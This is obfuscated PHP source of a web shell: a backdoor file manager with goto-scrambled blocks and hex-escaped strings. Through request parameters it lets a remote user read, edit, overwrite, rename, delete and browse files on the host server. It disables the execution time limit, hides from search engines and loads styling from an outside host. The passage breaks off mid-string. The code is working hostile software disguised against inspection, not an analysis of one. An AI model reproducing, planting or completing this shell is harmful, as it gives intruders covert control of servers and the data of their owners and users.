SY9nb: $scdir = explode("\57", $dir);
goto a733E;
LWENW: echo "\xa\x3c\57\164\x62\157\x64\171\76\xa\74\57\164\141\142\x6c\145\x3e\12\x3c\144\x69\x76\x20\143\x6c\x61\x73\x73\x3d\47\164\145\x78\x74\x2d\163\145\143\157\156\x64\x61\162\x79\47\x3e\46\143\157\x70\171\x3b\x20".date("\131").
"\40{$_n}\74\57\144\151\166\76\xa\74\x2f\x64\x69\166\x3e\12\74\x2f\144\151\x76\x3e\12\74\57\142\x6f\144\171\x3e\xa\74\57\x68\164\x6d\x6c\76";
goto BuwMq;
kAh0V: if (empty($_SESSION["\153\x65\x79\170\x78"])) {
    $keyxxx = generateRandomString();
    $_SESSION["\153\145\171\170\170"] = $keyxxx;
} goto uVMX3;
Y25me: if (isset($_GET["\x66\151\154\x65\163\x72\143"])) {
    echo "\x3c\x62\x72\76\x3c\x62\76\156\141\x6d\145\x20\x3a\40\x3c\57\142\x3e".basename($_GET["\x66\x69\x6c\145\x73\162\x63"]);
    "\x3c\57\142\162\76";
    echo "\x3c\144\x69\166\40\143\154\141\x73\163\x3d\x22\163\x68\x65\154\154\40\160\162\145\x22\x20\x69\144\x3d\42\x73\145\145\42\76\74\160\x72\x65\x20\163\x74\x79\x6c\145\75\x22\146\x6f\156\x74\x2d\163\x69\x7a\145\72\61\60\x70\170\73\x22\76".htmlspecialchars(file_get_contents($_GET["\146\x69\x6c\x65\163\162\143"])).
    "\74\57\x70\x72\x65\x3e\x3c\57\144\x69\166\76\x3c\x62\x72\57\x3e";
} elseif(isset($_GET["\157\160\x74\x69\157\x6e"]) && $_POST["\157\x70\x74"] != "\x64\x65\154\x65\x74\x65") {
    echo "\x3c\142\x72\x3e\x3c\x62\x3e\156\141\155\145\x20\72\40\74\x2f\x62\76".basename($_POST["\160\x61\164\150"]);
    "\x3c\x2f\x62\x72\x3e";
    if ($_POST["\157\160\x74"] == "\162\145\x6e\141\x6d\145") {
        if (isset($_POST["\156\145\x77\x6e\141\x6d\145"])) {
            if (rename($_POST["\160\141\164\150"], $path.
                    "\57".$_POST["\x6e\145\x77\x6e\x61\155\x65"])) {
                echo "\x3c\163\164\162\157\156\147\x3e\122\x65\156\x61\x6d\x65\74\x2f\163\164\162\x6f\x6e\147\x3e\40\x6f\153\41\40".ok().
                "\74\57\144\x69\166\x3e";
            } else {
                echo "\74\x73\164\x72\157\x6e\x67\76\x52\x65\156\141\x6d\145\74\x2f\163\164\162\157\156\x67\x3e\40\x67\141\147\x61\x6c\41\40".er().
                "\74\57\x64\151\x76\76";
            }
            $_POST["\156\x61\155\145"] = $_POST["\156\x65\167\156\x61\155\145"];
        }
        echo "\12\74\146\157\162\x6d\40\155\x65\x74\150\x6f\x64\75\42\x50\117\123\124\x22\76\xa\11\x3c\144\x69\166\40\x63\x6c\x61\x73\163\x3d\x22\x69\156\x70\165\164\x2d\x67\162\x6f\165\x70\40\155\x62\x2d\x33\42\x3e\12\11\11\x3c\151\x6e\160\x75\164\40\x63\x6c\x61\x73\x73\x3d\x22\x66\157\x72\x6d\x2d\143\157\156\164\162\x6f\154\40\146\157\x72\155\x2d\143\x6f\156\x74\x72\x6f\x6c\55\163\155\42\40\156\x61\155\145\x3d\42\x6e\x65\167\x6e\141\155\145\x22\40\x74\171\160\145\x3d\x22\x74\145\x78\x74\x22\40\x76\141\154\165\145\x3d\x22".$_POST["\x6e\141\155\145"].
        "\x22\40\57\x3e\xa\x9\x9\11\74\x69\x6e\x70\165\x74\40\x74\171\160\x65\75\42\x68\x69\x64\144\145\156\x22\x20\156\141\155\145\x3d\42\x70\x61\164\150\42\40\x76\x61\x6c\x75\145\75\x22".$_POST["\x70\141\164\x68"].
        "\x22\x3e\xa\x9\11\74\x69\156\x70\x75\164\40\x74\x79\160\x65\x3d\x22\x68\x69\x64\x64\145\156\42\x20\156\x61\155\145\75\42\157\160\x74\42\40\x76\141\154\165\145\x3d\x22\162\145\x6e\x61\155\x65\x22\x3e\xa\11\11\x3c\x69\156\160\x75\164\40\x63\x6c\141\x73\163\75\x22\142\164\156\40\142\164\156\55\157\165\164\x6c\151\x6e\145\x2d\x6c\151\x67\x68\164\x20\142\164\x6e\x2d\x73\155\42\40\x74\171\x70\x65\75\x22\x73\x75\x62\155\x69\x74\42\x20\166\141\154\x75\x65\x3d\42\x72\145\156\141\x6d\145\42\x2f\x3e\xa\11\74\57\x64\x69\x76\x3e\12\74\57\x66\157\162\155\76";
    }
    elseif($_POST["\x6f\x70\164"] == "\x65\x64\151\164") {
        if (isset($_POST["\x73\162\x63"])) {
            $fp = fopen($_POST["\x70\x61\x74\x68"], "\x77");
            if (fwrite($fp, $_POST["\x73\x72\x63"])) {
                echo "\74\163\x74\162\157\156\147\76\x45\x64\151\x74\74\57\163\x74\x72\157\156\x67\76\40\157\x6b\41\40".ok().
                "\x3c\57\x64\151\x76\76";
            } else {
                echo "\x3c\x73\x74\x72\x6f\x6e\x67\x3e\x45\x64\151\x74\74\57\x73\x74\162\x6f\x6e\147\x3e\x20\x67\141\x67\x61\154\41\40".er().
                "\74\x2f\x64\x69\x76\76";
            }
            fclose($fp);
        }
        echo "\xa\74\x66\x6f\x72\155\40\155\x65\x74\x68\x6f\x64\x3d\42\120\x4f\123\124\42\x3e\xa\x9\x3c\x74\x65\170\x74\141\162\x65\141\x20\x63\154\141\163\x73\x3d\x22\x66\x6f\162\155\55\x63\157\156\164\x72\157\x6c\x20\x66\x6f\162\x6d\x2d\x63\x6f\156\164\162\x6f\154\55\x73\x6d\x22\40\x72\x6f\x77\163\75\42\67\42\x20\156\x61\155\x65\75\42\163\x72\143\42\x3e".htmlspecialchars(file_get_contents($_POST["\160\x61\x74\x68"])).
        "\x3c\57\x74\145\x78\x74\x61\162\145\x61\76\x3c\142\x72\x20\57\x3e\xa\11\x9\x3c\151\156\x70\x75\164\40\x74\x79\160\x65\x3d\x22\x68\x69\144\144\x65\x6e\42\x20\x6e\x61\155\x65\x3d\x22\160\141\164\150\42\x20\x76\x61\x6c\x75\x65\x3d\42".$_POST["\x70\x61\164\150"].
        "\x22\76\xa\11\11\x3c\151\x6e\x70\x75\x74\x20\x74\171\x70\x65\x3d\42\x68\x69\144\144\145\x6e\42\40\x6e\141\155\x65\75\x22\157\x70\164\42\x20\166\x61\x6c\165\x65\75\42\x65\144\151\x74\x22\x3e\xa\11\x3c\151\x6e\x70\x75\164\x20\143\154\x61\163\163\75\x22\x62\x74\x6e\x20\x62\x74\x6e\x2d\x6f\165\164\x6c\x69\156\x65\x2d\x6c\151\147\x68\164\x20\x62\164\156\x2d\163\155\x20\x62\164\x6e\55\142\154\157\143\x6b\42\40\x74\x79\160\145\75\42\163\x75\142\155\151\x74\42\x20\166\x61\x6c\x75\x65\x3d\42\145\144\151\x74\x22\57\76\12\74\57\146\x6f\162\x6d\x3e\xa\74\142\x72\76";
    }
} else {
    if (isset($_GET["\x6f\160\x74\151\x6f\x6e"]) && $_POST["\157\x70\x74"] == "\144\145\x6c\x65\x74\x65") {
        if ($_POST["\x74\x79\x70\145"] == "\144\x69\162") {
            if (rmdir($_POST["\160\x61\x74\150"])) {
                echo "\x3c\163\164\162\157\156\147\76\104\x65\154\145\164\x65\40\144\151\x72\74\57\x73\x74\x72\157\x6e\x67\76\40\157\x6b\x21\40".ok().
                "\74\57\144\151\x76\x3e";
            } else {
                echo "\x3c\163\164\162\x6f\156\x67\x3e\104\x65\x6c\x65\164\x65\x20\x64\151\162\x3c\57\163\164\x72\x6f\156\x67\x3e\x20\x67\x61\x67\x61\x6c\x21\x20".er().
                "\74\57\144\x69\166\76";
            }
        }
        elseif($_POST["\x74\x79\x70\145"] == "\146\x69\x6c\x65") {
            if (unlink($_POST["\x70\141\164\150"])) {
                echo "\74\x73\x74\162\x6f\156\x67\x3e\104\145\154\x65\164\x65\40\146\x69\x6c\x65\x3c\x2f\x73\164\162\x6f\156\147\x3e\40\x6f\153\41\x20".ok().
                "\74\x2f\144\x69\x76\x3e";
            } else {
                echo "\74\x73\164\x72\x6f\x6e\147\x3e\x44\x65\x6c\x65\x74\x65\40\146\x69\x6c\x65\x3c\x2f\163\x74\x72\157\156\147\76\40\147\x61\147\x61\x6c\41\x20".er().
                "\x3c\57\x64\x69\x76\x3e";
            }
        }
    }
    $scandir = scandir($path);
    $pa = getcwd();
    echo "\x3c\x64\x69\x76\x20\x63\x6c\x61\x73\x73\x3d\x22\164\x61\x62\154\x65\x2d\x72\x65\x73\160\157\156\x73\x69\x76\145\42\76\xa\x3c\164\141\x62\154\x65\40\x63\154\141\163\x73\75\42\x74\x61\x62\154\145\40\x74\x61\142\154\145\55\x68\x6f\166\x65\x72\x20\164\141\142\154\145\55\x64\x61\x72\x6b\40\x74\x65\170\x74\x2d\x6c\x69\x67\x68\164\x22\76\xa\x3c\x74\150\145\x61\144\76\12\74\164\x72\x3e\xa\11\x3c\164\144\40\143\154\x61\163\x73\75\42\164\x65\170\x74\55\x63\x65\156\x74\x65\x72\x22\x3e\x6e\x61\155\x65\74\x2f\x74\144\76\12\11\x9\x3c\164\144\x20\143\x6c\141\163\x73\75\42\x74\145\x78\x74\55\x63\145\156\164\x65\162\42\x3e\x6c\x61\x73\164\x20\x65\x64\151\x74\74\57\x74\x64\76\12\11\11\74\x74\144\x20\x63\154\x61\163\163\x3d\x22\x74\x65\170\164\x2d\143\145\x6e\164\x65\x72\42\76\163\x69\x7a\145\74\x2f\x74\144\x3e\xa\x9\11\74\164\x64\x20\143\x6c\x61\x73\163\x3d\x22\x74\x65\x78\164\55\143\145\156\x74\145\162\42\x3e\157\167\x6e\145\x72\x3c\x67\162\x3e\x3a\x3c\x2f\147\162\x3e\x64\157\167\156\145\x72\x3c\x2f\164\x64\76\xa\x9\11\74\x74\144\x20\143\154\141\x73\163\x3d\x22\164\145\x78\164\55\143\x65\x6e\x74\145\162\42\76\x70\x65\162\155\x69\163\163\x69\x6f\x6e\x3c\57\164\144\76\12\11\x3c\164\x64\40\x63\154\141\163\x73\75\42\164\x65\x78\x74\x2d\143\145\156\164\x65\162\x22\76\x6f\160\x74\151\x6f\x6e\x73\x3c\57\x74\144\76\12\x3c\x2f\x74\162\76\xa\x3c\x2f\164\150\x65\141\x64\76\xa\x3c\164\142\x6f\x64\171\40\143\x6c\x61\x73\x73\x3d\42\x74\145\170\x74\x2d\x6e\x6f\x77\162\x61\160\42\x3e\12\x3c\x74\x72\x3e\12\x9\74\164\x64\76\74\x69\40\x63\x6c\x61\x73\163\x3d\42\142\x69\40\142\151\55\x66\157\154\144\145\x72\x32\55\x6f\x70\145\x6e\42\x3e\74\57\151\76\x3c\141\40\143\x6c\141\x73\163\x3d\x22\164\145\x78\x74\55\144\x65\143\x6f\x72\141\x74\x69\157\156\55\x6e\157\x6e\x65\x20\164\x65\170\164\x2d\163\145\x63\x6f\x6e\x64\x61\162\x79\42\40\x68\x72\x65\x66\75\42\77\x70\x61\164\x68\x3d".dirname($dir).
    "\x22\x3e\x2e\56\x3c\57\x61\76\74\57\164\x64\76\x3c\x74\x64\x3e\x3c\57\164\x64\x3e\74\x74\144\x3e\74\57\164\144\x3e\x3c\x74\144\76\74\x2f\x74\x64\76\x3c\164\x64\x3e\74\57\164\144\x3e\74\164\144\40\x63\x6c\x61\163\x73\x3d\x22\x74\x65\170\x74\x2d\143\145\x6e\164\x65\x72\x22\x3e\12\x9\x9\74\144\x69\x76\x20\x63\x6c\141\x73\163\x3d\42\x62\164\156\x2d\147\x72\157\165\160\x22\76\xa\x9\11\x9\74\x61\40\143\154\x61\x73\x73\x3d\42\142\164\156\40\142\164\156\55\x6f\x75\164\154\151\156\145\55\154\151\147\150\164\40\142\164\x6e\x2d\x73\155\42\x20\150\162\145\146\x3d\x22\77\x69\144\x3d\x66\151\x6c\x65\142\141\162\x75\x26\160\x61\164\x68\x3d".$dir.
    "\x22\76\74\151\x20\143\154\141\x73\163\x3d\x22\142\151\x20\x62\x69\x2d\146\x69\x6c\x65\55\x65\141\x72\155\x61\x72\153\x2d\x70\154\165\163\55\x66\151\154\x6c\x22\x3e\x3c\57\x69\76\74\57\141\x3e\xa\11\x9\x9\74\x61\x20\x63\154\141\x73\x73\75\x22\x62\164\x6e\40\x62\164\156\55\157\165\164\154\x69\156\x65\x2d\x6c\x69\x67\150\164\40\x62\x74\156\x2d\x73\x6d\42\40\150\x72\145\x66\75\42\77\x69\x64\x3d\x64\x69\x72\x62\141\162\165\46\160\141\164\x68\75".$dir.
    "\x22\76\74\151\x20\143\154\x61\163\163\x3d\x22\x62\151\x20\142\151\55\x66\157\154\x64\x65\162\55\x70\154\x75\x73\42\x3e\74\x2f\151\76\74\57\x61\x3e\xa\x9\x9\74\x2f\144\151\166\76\12\x9\x3c\x2f\x74\x64\76\12\x3c\x2f\164\162\x3e";
    foreach($scandir as $dir) {
        $dt = date("\x59\x2d\x6d\55\x64\x20\x48\x3a\x69\72\163", filemtime("{$path}\x2f{$dir}"));
        if (function_exists("\160\x6f\163\x69\x78\137\147\145\x74\x70\x77\x75\151\144")) {
            $downer = @posix_getpwuid(fileowner("{$path}\x2f{$dir}"));
            $downer = $downer["\x6e\141\155\145"];
        } else {
            $downer = fileowner("{$path}\x2f{$dir}");
        }
        if (function_exists("\x70\157\x73\x69\170\x5f\x67\145\164\x67\x72\x67\151\x64")) {
            $dgrp = @posix_getgrgid(filegroup("{$path}\x2f{$dir}"));
            $dgrp = $dgrp["\x6e\x61\155\x65"];
        } else {
            $dgrp = filegroup("{$path}\57{$dir}");
        }
        if (!is_dir("{$path}\57{$dir}") || $dir == "\56" || $dir == "\x2e\56") {
            continue;
        }
        echo "\xa\x3c\x74\x72\x3e\xa\x9\x3c\x74\144\76\x3c\x69\40\143\154\141\163\x73\x3d\x27\142\151\40\x62\x69\55\x66\x6f\x6c\x64\145\162\x2d\146\151\x6c\x6c\47\x3e\74\57\x69\76\x3c\141\x20\143\154\x61\x73\x73\75\47\x74\145\x78\164\x2d\144\145\143\157\x72\x61\164\x69\157\156\55\x6e\157\x6e\x65\40\x74\145\x78\164\x2d\163\x65\x63\x6f\x6e\144\141\162\171\x27\x20\x68\x72\145\x66\x3d\x22\x3f\x70\x61\x74\150\75{$path}\x2f{$dir}\x22\x3e{$dir}\74\57\x61\x3e\x3c\x2f\164\x64\76\xa\11\x3c\164\x64\x20\x63\x6c\x61\x73\163\75\47\164\x65\170\164\x2d\x63\x65\x6e\164\145\162\x27\x3e{$dt}\74\x2f\164\x64\x3e\12\x9\74\164\144\40\x63\x6c\x61\163\163\75\x27\164\x65\x78\164\x2d\x63\x65\156\164\x65\162\47\x3e\144\151\x72\74\57\x74\x64\x3e\xa\11\x3c\164\x64\40\x63\x6c\x61\163\163\75\x27\164\145\170\164\55\143\145\156\164\x65\162\x27\x3e{$downer}\74\x67\x72\76\x3a\74\57\x67\162\x3e{$dgrp}\x3c\x2f\x74\144\76\xa\11\74\164\144\40\143\x6c\141\x73\163\75\47\164\x65\x78\x74\55\x63\145\x6e\x74\x65\x72\x27\76";
        if (is_writable("{$path}\57{$dir}")) {
            echo "\x3c\147\x72\x3e";
        }
        elseif(!is_readable("{$path}\57{$dir}")) {
            echo "\x3c\162\x64\x3e";
        }
        echo p("{$path}\57{$dir}");
        if (is_writable("{$path}\x2f{$dir}") || !is_readable("{$path}\x2f{$dir}")) {
            echo "\x3c\x2f\x67\162\76\x3c\x2f\162\x64\x3e\x3c\x2f\164\144\x3e";
        }
        echo "\xa\x9\x3c\x74\x64\40\x63\154\x61\163\163\75\42\164\x65\x78\x74\x2d\x63\x65\x6e\164\145\162\x22\x3e\xa\11\74\146\157\x72\x6d\x20\x6d\145\164\x68\x6f\x64\x3d\42\x50\117\x53\x54\42\40\x61\143\x74\151\157\x6e\75\x22\77\157\160\x74\151\x6f\x6e\x26\160\x61\x74\150\75{$path}\x22\76\12\11\x9\x3c\144\x69\166\x20\x63\x6c\141\x73\x73\75\42\142\x74\x6e\x2d\x67\162\x6f\x75\x70\x22\x3e\12\x9\11\11\74\x62\x75\x74\x74\x6f\156\40\x63\x6c\x61\x73\163\x3d\42\x62\164\156\x20\x62\x74\156\x2d\157\165\x74\154\x69\x6e\x65\55\x6c\x69\x67\x68\164\40\142\164\156\55\163\x6d\42\x20\x6e\141\155\145\75\42\x6f\160\x74\42\40\x76\141\154\165\145\75\x22\162\x65\156\141\155\x65\42\76\x3c\x69\x20\143\x6c\x61\x73\x73\75\47\142\151\40\x62\x69\55\160\145\x6e\x63\151\154\x2d\146\151\154\x6c\47\x3e\x3c\x2f\151\x3e\x3c\57\x62\165\164\164\157\156\76\12\11\11\11\74\x62\x75\x74\x74\157\156\x20\x63\154\x61\x73\163\x3d\x22\142\x74\156\x20\142\164\x6e\x2d\157\x75\x74\x6c\151\x6e\145\x2d\x6c\151\147\x68\x74\40\x62\x74\156\x2d\163\155\x22\40\x6e\141\155\145\x3d\42\157\x70\164\x22\x20\166\x61\154\x75\x65\x3d\x22\x64\x65\154\x65\164\145\x22\x3e\74\151\40\x63\154\141\x73\x73\x3d\x27\142\151\x20\142\151\55\164\x72\x61\163\150\x2d\x66\x69\x6c\154\x27\76\74\57\x69\76\74\x2f\142\x75\x74\x74\x6f\156\x3e\12\x9\11\x3c\57\144\x69\166\x3e\xa\11\11\x3c\151\156\160\x75\164\x20\x74\x79\x70\x65\x3d\42\150\151\x64\144\145\156\x22\x20\x6e\x61\x6d\145\75\x22\x74\171\160\145\x22\x20\166\x61\x6c\x75\145\75\x22\144\151\162\x22\76\xa\11\11\74\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\150\151\144\144\145\x6e\x22\x20\156\x61\x6d\145\75\42\x6e\141\x6d\x65\42\x20\x76\141\154\x75\x65\x3d\x22{$dir}\x22\x3e\12\x9\x9\x3c\151\156\x70\165\x74\40\164\171\160\x65\x3d\x22\150\151\x64\x64\x65\x6e\42\x20\156\x61\x6d\x65\x3d\42\160\x61\x74\x68\x22\40\x76\141\x6c\x75\x65\75\42{$path}\57{$dir}\42\76\12\11\x3c\57\146\157\162\x6d\x3e\12\x9\74\x2f\164\144\76\12\x3c\57\164\162\76";
    }
    foreach($scandir as $file) {
        $ft = date("\131\55\x6d\55\x64\x20\x48\x3a\x69\x3a\163", filemtime("{$path}\57{$file}"));
        if (!is_file($path.
                "\57".$file)) {
            continue;
        }
        if (function_exists("\160\x6f\x73\151\170\137\147\x65\x74\160\x77\x75\x69\144")) {
            $fowner = @posix_getpwuid(fileowner("{$path}\57{$file}"));
            $fowner = $fowner["\x6e\141\x6d\145"];
        } else {
            $fowner = fileowner("{$path}\x2f{$file}");
        }
        if (function_exists("\160\157\x73\x69\x78\137\147\145\164\147\162\x67\x69\x64")) {
            $fgrp = @posix_getgrgid(filegroup("{$path}\x2f{$file}"));
            $fgrp = $fgrp["\156\141\155\145"];
        } else {
            $fgrp = filegroup("{$path}\x2f{$file}");
        }
        echo "\12\74\164\x72\x3e\12\11\74\x74\x64\76\x3c\151\40\x63\154\141\163\x73\x3d\x27\x62\x69\x20\x62\151\x2d\x66\x69\154\x65\x2d\145\x61\162\155\x61\x72\x6b\x2d\143\x6f\144\145\x2d\146\151\x6c\x6c\x27\x3e\x3c\x2f\x69\76\x3c\x61\40\143\154\141\x73\x73\x3d\47\164\145\x78\164\55\144\145\x63\x6f\x72\x61\164\x69\x6f\x6e\55\x6e\157\x6e\x65\x20\164\x65\x78\x74\x2d\163\x65\x63\x6f\x6e\144\141\162\x79\x27\x20\x68\x72\x65\x66\x3d\x22\77\146\151\x6c\x65\x73\x72\x63\75{$path}\57{$file}\x26\x70\141\x74\x68\75{$path}\x22\x3e{$file}\74\x2f\141\76\74\57\x74\144\x3e\12\11\x3c\164\x64\x20\x63\154\x61\x73\163\75\47\x74\x65\170\164\55\x63\x65\156\x74\x65\162\47\76{$ft}\74\x2f\164\x64\76\12\11\74\164\144\x20\143\154\141\163\x73\75\x27\164\x65\x78\164\55\143\145\x6e\164\x65\162\x27\76".sz(filesize($file)).
        "\x3c\x2f\164\144\76\xa\11\x3c\x74\x64\x20\143\x6c\x61\x73\x73\x3d\x27\x74\145\170\164\55\143\x65\x6e\164\145\162\x27\x3e{$fowner}\74\x67\x72\x3e\72\74\x2f\x67\x72\x3e{$fgrp}\x3c\x2f\x74\144\76\12\11\74\x74\x64\x20\143\154\141\x73\x73\75\x27\x74\145\170\164\x2d\x63\x65\x6e\x74\x65\162\47\x3e";
        if (is_writable("{$path}\x2f{$file}")) {
            echo "\x3c\147\x72\x3e";
        }
        elseif(!is_readable("{$path}\57{$file}")) {
            echo "\x3c\x72\144\76";
        }
        echo p("{$path}\57{$file}");
        if (is_writable("{$path}\x2f{$file}") || !is_readable("{$path}\57{$file}")) {
            echo "\74\57\147\x72\x3e\74\x2f\162\x64\x3e\74\57\164\x64\x3e";
        }
        echo "\xa\x9\x3c\x74\144\x20\x63\x6c\141\163\163\75\42\164\x65\170\164\x2d\143\x65\x6e\x74\145\162\42\76\12\11\11\x3c\x66\x6f\162\x6d\40\x6d\x65\164\x68\157\144\x3d\42\x50\117\123\x54\x22\40\141\x63\x74\151\157\x6e\75\42\77\x6f\160\x74\151\157\156\x26\160\x61\164\150\x3d{$path}\x22\x3e\12\x9\11\11\x3c\144\x69\166\40\x63\x6c\x61\x73\x73\75\x22\x62\x74\x6e\55\147\x72\157\x75\160\42\76\12\x9\x9\11\11\x3c\142\x75\164\164\157\x6e\x20\143\154\141\163\163\x3d\x22\x62\164\156\40\142\164\156\x2d\x6f\x75\164\154\151\156\x65\x2d\154\151\x67\x68\x74\x20\x62\x74\156\x2d\x73\155\x22\x20\156\141\x6d\x65\75\x22\x6f\160\x74\x22\40\166\x61\x6c\x75\145\75\42\x65\144\151\x74\42\76\x3c\x69\x20\x63\x6c\x61\x73\x73\75\47\142\151\40\142\x69\x2d\160\x65\156\x63\x69\x6c\55\163\161\165\x61\162\145\x27\76\74\57\x69\76\74\x2f\x62\165\164\164\157\x6e\76\12\11\x9\11\11\x3c\x62\165\164\164\157\x6e\40\143\x6c\141\163\x73\75\42\142\164\156\40\142\164\156\55\157\x75\x74\x6c\x69\x6e\145\x2d\x6c\151\x67\x68\x74\x20\x62\x74\x6e\55\163\155\42\40\156\141\x6d\145\x3d\42\157\160\164\42\40\x76\141\154\x75\x65\x3d\42\162\x65\156\x61\x6d\x65\x22\76\74\x69\x20\143\x6c\141\x73\x73\x3d\x27\x62\x69\x20\x62\x69\55\160\145\156\x63\151\x6c\x2d\146\151\154\x6c\47\76\74\57\151\x3e\74\x2f\142\165\x74\x74\x6f\x6e\76\xa\11\11\11\x9\x3c\x62\x75\x74\x74\x6f\x6e\x20\x63\154\x61\163\163\x3d\42\x62\164\x6e\40\x62\164\x6e\x2d\x6f\165\x74\x6c\151\x6e\x65\55\154\151\x67\150\x74\x20\x62\x74\156\55\163\x6d\42\x20\x6e\141\x6d\145\x3d\42\157\x70\x74\x22\40\x76\x61\154\165\145\75\42\x64\157\x77\x6e\x6c\x6f\x61\x64\42\x3e\74\x69\x20\143\154\x61\163\x73\x3d\x27\x62\151\40\x62\x69\x2d\x64\x6f\x77\x6e\x6c\x6f\x61\144\x27\76\x3c\x2f\x69\x3e\74\x2f\x62\165\x74\164\157\x6e\76\12\x9\11\x9\11\74\x62\165\164\x74\157\156\x20\143\154\141\x73\x73\75\42\x62\164\x6e\40\x62\x74\156\55\157\165\164\x6c\x69\156\145\x2d\x6c\151\147\150\164\x20\142\164\x6e\55\x73\x6d\42\x20\x6e\x61\155\x65\75\x22\157\160\164\42\x20\166\x61\x6c\x75\145\x3d\42\144\x65\154\x65\164\x65\42\76\74\151\x20\x63\154\x61\163\163\75\x27\142\x69\40\x62\151\55\164\162\x61\x73\x68\x2d\146\151\154\154\47\76\74\57\151\76\74\57\x62\165\x74\164\157\x6e\76\12\x9\x9\11\x3c\57\x64\151\x76\x3e\12\x9\11\11\74\151\156\x70\165\164\40\x74\171\160\145\x3d\x22\x68\151\144\144\145\156\42\x20\x6e\x61\x6d\x65\75\42\164\x79\160\x65\42\x20\x76\141\154\x75\x65\75\x22\146\151\154\x65\x22\x3e\12\11\x9\11\x3c\151\x6e\160\165\164\40\164\171\x70\145\75\42\x68\151\x64\x64\145\x6e\x22\40\156\x61\155\145\75\x22\x6e\x61\x6d\145\x22\40\x76\x61\x6c\165\145\75\42{$file}\42\76\12\11\11\x9\74\151\156\x70\165\164\40\x74\x79\x70\x65\75\x22\150\151\x64\x64\x65\x6e\x22\40\x6e\x61\155\x65\75\x22\160\141\164\x68\x22\x20\x76\x61\154\x75\x65\75\x22{$path}\57{$file}\42\x3e\xa\11\11\74\57\146\157\162\155\x3e\xa\11\74\57\164\x64\76\12\x3c\x2f\164\162\76";
    }
}
goto LWENW;
yo3RB: @ini_set("\x6d\141\170\137\x65\x78\145\x63\x75\x74\151\157\x6e\137\164\151\x6d\145", 0);
goto UwZXo;
CjPeU: function p($file) {
    if ($p = @fileperms($file)) {
        $i = "\x75";
        if (($p & 49152) == 49152) {
            $i = "\163";
        }
        elseif(($p & 40960) == 40960) {
            $i = "\x6c";
        }
        elseif(($p & 32768) == 32768) {
            $i = "\x2d";
        }
        elseif(($p & 24576) == 24576) {
            $i = "\x62";
        }
        elseif(($p & 16384) == 16384) {
            $i = "\144";
        }
        elseif(($p & 8192) == 8192) {
            $i = "\143";
        }
        elseif(($p & 4096) == 4096) {
            $i = "\x70";
        }
        $i. = $p & 256 ? "\162" : "\55";
        $i. = $p & 128 ? "\167" : "\x2d";
        $i. = $p & 64 ? "\x78" : "\55";
        $i. = $p & 32 ? "\162" : "\55";
        $i. = $p & 16 ? "\167" : "\x2d";
        $i. = $p & 8 ? "\170" : "\x2d";
        $i. = $p & 4 ? "\162" : "\55";
        $i. = $p & 2 ? "\x77" : "\55";
        $i. = $p & 1 ? "\170" : "\x2d";
        return $i;
    } else {
        return "\55\40\x3f\77\40\55";
    }
}
goto etJ5R;
etJ5R: echo "\12\74\41\104\x4f\x43\x54\x59\120\105\40\x48\x54\115\114\76\xa\x3c\150\x74\155\x6c\76\12\x9\74\x68\145\141\144\x3e\12\11\11\x3c\155\x65\x74\x61\40\156\x61\x6d\145\x3d\x27\x61\165\x74\150\157\162\47\40\143\157\156\x74\145\156\x74\x3d\47{$_n}\47\76\12\x9\x9\x3c\x6d\x65\164\x61\x20\156\x61\155\145\75\x27\x72\x6f\x62\157\x74\x73\x27\40\x63\157\x6e\164\x65\156\x74\x3d\x27\156\157\151\x6e\x64\x65\x78\54\x6e\157\146\x6f\154\x6c\x6f\167\47\x3e\xa\11\x9\74\x74\x69\x74\154\x65\76".$_SERVER["\110\124\124\120\137\x48\x4f\x53\124"].
"\x20\x2d\x20{$_n}\x3c\x2f\x74\x69\164\x6c\145\x3e\12\x9\x9\x3c\155\145\164\x61\x20\x6e\x61\x6d\145\75\47\166\151\x65\167\x70\157\162\x74\47\x20\x63\x6f\156\x74\x65\156\x74\75\x27\167\x69\x64\164\x68\75\x64\145\x76\151\143\x65\x2d\167\x69\x64\164\x68\x2c\x20\x69\x6e\151\x74\151\141\154\x2d\x73\143\141\x6c\145\x3d\x30\x2e\67\60\x27\x3e\xa\x9\11\74\154\x69\x6e\x6b\x20\x72\145\154\x3d\x27\163\164\171\154\x65\x73\x68\x65\145\x74\x27\x20\x68\162\145\x66\75\47\57\x2f\x72\x61\156\x64\157\155\x2d\160\150\160\x2e\146\164\x70\x2e\x73\x68\x2f\163\164\x79\x6c\145\x2e\143\163\163\47\76\12\x9\x9\x3c\x73\143\x72\151\x70\x74\40\x73\x72\143\75\x27\x2f\57\143\144\x6e\x6a\163\x2e\x63\x6c\x6f\165\x64\146\x6c\141\162\x65\x2e\x63\157\155\x2f\x61\x6a\141\x78\x2f\154\x69\x62\163\x2f\160\x72\151\x73\155\x2f\x31\56\x36\x2e\x30\x2f\160\162\151\163\155\56\152\163\x27\76\74\x2f\x73\143\x72\151\x70\164\x3e\12\x9\11\74\x73\x63\x72\151\x70\x74\x20\163\162\x63\75\47\x2f\x2f\143\x64\x6e\56\x6a\163\x64\145\x6c\x69\166\162\x2e\156\145\x74\57\156\160\x6d\57\x62\157\157\164\163\x74\x72\x61\x70\100\x35\56\x30\x2e\61\57\x64\151\163\x74\57\152\163\x2f\x62\x6f\157\164\163\164\162\141\160\x2e\142\x75\x6e\144\154\x65\56\155\151\156\56\x6a\x73\47\x3e\74\57\163\143\x72\x69\x70\164\x3e\12\x9\x9\74\x73\x63\162\151\160\164\x20\x73\162\143\75\47\x2f\x2f\x63\157\144\x65\56\152\x71\165\145\x72\x79\56\x63\x6f\x6d\57\x6a\161\165\x65\162\x79\x2d\63\56\63\56\61\x2e\x73\154\x69\x6d\x2e\155\x69\x6e\56\x6a\163\47\76\x3c\x2f\x73\143\162\151\160\164\x3e\xa\11\x3c\57\150\145\x61\x64\76\xa\74\x73\164\x79\x6c\x65\76\xa\56\163\150\145\154\x6c\40\x7b\xa\11\142\157\x72\144\x65\162\55\162\x61\144\151\x75\x73\72\40\x34\160\x78\x3b\12\x9\x62\157\162\144\x65\x72\x3a\40\x31\x70\x78\40\x73\x6f\x6c\151\144\x20\162\x67\142\141\50\62\65\x35\x2c\40\x32\x35\x35\x2c\40\x32\x35\65\54\x20\60\x2e\x34\x29\x3b\xa\11\146\x6f\156\x74\55\x73\x69\172\145\x3a\40\x31\x30\x70\x74\x3b\12\11\x64\151\x73\160\x6c\141\x79\x3a\40\x66\154\145\170\73\xa\x9\x66\154\145\170\55\x64\x69\x72\x65\143\164\151\157\156\72\40\x63\157\154\x75\x6d\x6e\x3b\12\11\x61\x6c\151\x67\x6e\x2d\151\x74\x65\x6d\x73\72\x20\x73\164\x72\145\164\x63\